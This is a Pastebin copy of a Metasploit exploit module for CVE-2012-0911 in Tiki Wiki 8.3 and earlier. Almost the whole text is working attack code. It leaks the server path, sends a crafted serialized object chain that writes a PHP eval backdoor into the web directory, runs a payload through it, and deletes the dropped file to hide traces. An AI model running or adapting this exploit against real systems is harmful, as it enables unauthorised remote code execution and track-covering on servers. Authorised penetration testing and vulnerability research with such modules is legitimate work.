Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ##
- # This module requires Metasploit: http//metasploit.com/download
- # Current source: https://github.com/rapid7/metasploit-framework
- ##
- require 'msf/core'
- class Metasploit3 < Msf::Exploit::Remote
- Rank = ExcellentRanking
- include Msf::Exploit::Remote::HttpClient
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'Tiki Wiki <= 8.3 unserialize() PHP Code Execution',
- 'Description' => %q{
- This module exploits a php unserialize() vulnerability in Tiki Wiki <= 8.3
- which could be abused to allow unauthenticated users to execute arbitrary code
- under the context of the webserver user.
- The dangerous unserialize() exists in the 'tiki-print_multi_pages.php' script,
- which is called with user controlled data from the 'printpages' parameter.
- The exploit abuses the __destruct() method from the Zend_Pdf_ElementFactory_Proxy
- class to write arbitrary PHP code to a file on the Tiki Wiki web directory.
- In order to run successfully three conditions must be satisfied (1) display_errors
- php setting must be On to disclose the filesystem path of Tiki Wiki, (2) The Tiki
- Wiki Multiprint feature must be enabled to exploit the unserialize() and (3) a php
- version older than 5.3.4 must be used to allow poison null bytes in filesystem related
- functions. The exploit has been tested successfully on Ubuntu 9.10 and Tiki Wiki 8.3.
- },
- 'Author' =>
- [
- 'EgiX', # Vulnerability discovery and PoC
- 'juan vazquez' # Metasploit module
- ],
- 'License' => MSF_LICENSE,
- 'References' =>
- [
- [ 'CVE', '2012-0911' ],
- [ 'OSVDB', '83534' ],
- [ 'BID', '54298' ],
- [ 'EDB', '19573' ],
- [ 'URL', 'http://dev.tiki.org/item4109' ]
- ],
- 'Privileged' => false,
- 'Platform' => ['php'],
- 'Arch' => ARCH_PHP,
- 'Payload' =>
- {
- 'DisableNops' => true,
- },
- 'Targets' => [ ['Automatic', {}] ],
- 'DefaultTarget' => 0,
- 'DisclosureDate' => 'Jul 04 2012'
- ))
- register_options(
- [
- OptString.new('TARGETURI', [ true, "The base path to the web application", "/tiki/"])
- ], self.class)
- end
- def on_new_session(client)
- if client.type == "meterpreter"
- client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
- begin
- print_warning("#{peer} - Deleting #{@upload_php}")
- client.fs.file.rm(@upload_php)
- print_good("#{peer} - #{@upload_php} removed to stay ninja")
- rescue
- print_error("#{peer} - Unable to remove #{f}")
- end
- end
- end
- def exploit
- base = target_uri.path
- base << '/' if base[-1, 1] != '/'
- @upload_php = rand_text_alpha(rand(4) + 4) + ".php"
- print_status("#{peer} - Disclosing the path of the Tiki Wiki on the filesystem")
- res = send_request_cgi(
- 'uri' => normalize_uri(base, "tiki-rss_error.php")
- )
- if not res or res.code != 200 or not res.body =~ /[> ](\/.*)tiki-rss_error\.php/
- print_error "Tiki Wiki path couldn't be disclosed. The php setting 'display_errors' must be On."
- return
- else
- tiki_path = $1
- print_good "#{peer} - Tiki Wiki path disclosure: #{tiki_path}"
- end
- php_payload = "<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>"
- printpages = "O:29:\"Zend_Pdf_ElementFactory_Proxy\":1:"
- printpages << "{s:39:\"%00Zend_Pdf_ElementFactory_Proxy%00_factory\";O:51:\"Zend_Search_Lucene_Index_SegmentWriter_StreamWriter\":5:"
- printpages << "{s:12:\"%00*%00_docCount\";i:1;s:8:\"%00*%00_name\";s:3:\"foo\";s:13:\"%00*%00_directory\";O:47:\"Zend_Search_Lucene_Storage_Directory_Filesystem\":1:"
- printpages << "{s:11:\"%00*%00_dirPath\";s:#{tiki_path.length + @upload_php.length + 1}:\"#{tiki_path + @upload_php}%00\";}"
- printpages << "s:10:\"%00*%00_fields\";a:1:"
- printpages << "{i:0;O:34:\"Zend_Search_Lucene_Index_FieldInfo\":1:"
- printpages << "{s:4:\"name\";s:#{php_payload.length}:\"#{php_payload}\";}}"
- printpages << "s:9:\"%00*%00_files\";O:8:\"stdClass\":0:{}}}"
- print_status("#{peer} - Exploiting the unserialize() to upload PHP code")
- res = send_request_cgi(
- {
- 'uri' => normalize_uri(base, "tiki-print_multi_pages.php"),
- 'method' => 'POST',
- 'vars_post' => {
- 'printpages' => printpages
- }
- })
- if not res or res.code != 200
- print_error("#{peer} - Exploit failed: #{res.code}. The Tiki Wiki Multiprint feature must be enabled.")
- return
- end
- print_status("#{peer} - Executing the payload #{@upload_php}")
- res = send_request_cgi(
- {
- 'method' => 'GET',
- 'uri' => normalize_uri(base, @upload_php),
- 'headers' => {
- 'Cmd' => Rex::Text.encode_base64(payload.encoded)
- }
- })
- if res
- print_error("#{peer} - Payload execution failed: #{res.code}")
- return
- end
- end
- end
Add Comment
Please, Sign In to add comment